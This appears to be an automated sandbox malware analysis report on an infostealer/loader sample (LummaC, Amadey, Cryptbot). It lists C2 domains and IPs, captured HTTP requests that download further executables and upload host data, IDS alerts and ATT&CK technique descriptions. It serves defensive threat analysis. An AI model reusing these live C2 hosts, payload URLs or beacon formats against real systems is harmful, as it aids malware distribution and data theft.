Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: pancakedipyps.click
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	IPs: 185.215.113.43
Source: Malware configuration extractor	URLs: home.twentytk20pn.top

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /lumma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 31 38 30 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1018024001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 30 35 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018058001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 30 35 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018059001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/london/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: /Content-Type: application/jsonContent-Length: 496591Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 36 35 37 30 39 39 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 30 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 34 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 30 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018060001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=E1tNe0rghYTTlqsD1734657103 HTTP/1.1Host: home.twentytk20pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 30 36 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018061001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/wicked/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 465Content-Type: multipart/form-data; boundary=------------------------e2Hr109i1PILBVI5KaasN4Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 32 48 72 31 30 39 69 31 50 49 4c 42 56 49 35 4b 61 61 73 4e 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 75 76 69 73 75 73 65 73 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ea a8 ab fb e3 c0 1a 4a 02 bb 98 89 7f 35 35 4d c5 11 1e 04 2e dd c5 d6 4d 80 a4 f6 d7 00 89 57 85 5b 98 e1 a3 49 6e 04 e7 51 2a 1e 8b b3 39 e9 82 6a d9 07 c7 1d a3 94 ff f4 27 2b b8 c2 94 d2 6a a9 89 a3 2f 9f 2b 26 54 a5 7e b1 86 bf 07 9f 9d 8c 76 5f 35 bd ee 0d f1 7c 5a 81 dc b3 9d ff 80 c5 fa f5 f3 93 f6 c0 cf ce aa b3 82 5b 04 51 43 6b 3c 6b 99 02 22 b0 41 14 53 e3 65 d2 8a 22 81 b4 a0 ad c7 4c aa 53 e7 c3 90 d3 49 27 90 63 9d 06 ec be d0 66 31 3c 8e 9b b5 a3 d8 c1 d9 3c 42 17 25 69 35 af 11 39 e6 a5 54 04 b6 54 6d ec 73 bd d4 00 be 5e 9c a6 24 b6 29 99 06 57 f9 2a f9 7e 84 99 22 da 4e 5c f0 1f 26 17 70 77 e8 2e e1 dc 57 56 13 47 18 17 ac aa 17 df dd f8 33 5d d5 32 6c 40 86 7c 1e 5b ea a8 71 41 b8 aa 13 95 cc f8 90 0d c4 fc a8 aa 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 32 48 72 31 30 39 69 31 50 49 4c 42 56 49 35 4b 61 61 73 4e 34 2d 2d 0d 0a Data Ascii: --------------------------e2Hr109i1PILBVI5KaasN4Content-Disposition: form-data; name="file"; filename="Guvisuses.bin"Content-Type: application/octet-streamJ55M.MW[InQ9j'+j/+&T~v_5\|Z[QCk<k"ASe"LSI'cf1<<B%i59TTms^$)W~"N\&pw.WVG3]2l@\|[qA--------------------------e2Hr109i1PILBVI5KaasN4--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 172.67.179.109 172.67.179.109

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49831 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49853 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49860 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49866 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49875 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49876 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49874 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49882 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49883 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49892 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49891 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49898 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49900 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49907 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49917 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49916 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49919 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49923 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49937 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49855 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49943 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49944 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49945 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49927 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49950 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49956 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49971 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49988 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49992 -> 104.21.91.209:443

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: rapeflowwj.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: pancakedipyps.click
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.twentytk20pn.top
Source: global traffic	DNS traffic detected: DNS query: treehoneyi.click
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: twentytk20pn.top

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Threatname: Cryptbot

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe

C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe

C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

